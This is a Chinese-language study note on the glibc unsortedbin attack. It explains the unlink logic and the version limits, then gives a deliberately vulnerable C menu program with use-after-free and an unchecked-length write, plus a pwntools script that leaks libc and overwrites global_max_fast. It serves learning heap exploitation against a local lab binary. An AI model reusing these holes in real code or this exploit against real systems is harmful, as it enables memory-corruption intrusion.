【我的 PWN 学习手札】Unsortedbin Attack
前言
Unsortedbin Attack不能说是一种getshell的方式,而只能说是一种利用手法。在glibc2.28之前有效,条件是存在uaf,效果是能在某一地址写一个大数(glibc上的一个地址)。
一、Unsortedbin的unlink过程
unsortedbin 中 free chunk 的组织形式是双向链表,取出chunk时,有如下代码:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
实现的操作是将 unsortedbin 中的最后一个chunk取出。main arena的对应 bk 就要只想 victim 的bck,同样,bck 的 fd 也要指向 main arena。
二、Unsortedbin Attack
如果我们利用 UAF 或者任意地址写,将 unsortedbin 将被 unlink 的 victim 的 bk 改为其他地址如target,那么会发生什么呢?
当进行上述操作时:
换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。通常可以利用此方法向 global_max_fast 写入一个较大的值,从而扩大 fastbin 范围,甚至 fastbins 数组溢 出造成任意地址写。
三、保护与检查
(1)size检查
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)|| __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0))malloc_printerr ("malloc(): memory corruption");
这个检查是对脱链的 free chunk(即 victim)检查的,本来就是 unsortedbin 链上的一块正常的chunk,因此天然来说是无误的。
(2)target可写
因为要往target写数值,所以这个条件也是必要的,因为如果该地址本来就不能写数值,又何来覆写一说?
总上来说,条件很好满足。然而在glibc2.28及以后,对 bck 的 fd 指针进行了检查,所以此方法基本失效。
四、测试与模板
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))# Unsortedbin Attack
edit(0,0x10,p64(0)+p64(libc_base+libc.sym['global_max_fast']-0x10))
pause()
add(2,0x100)
pause()
io.interactive()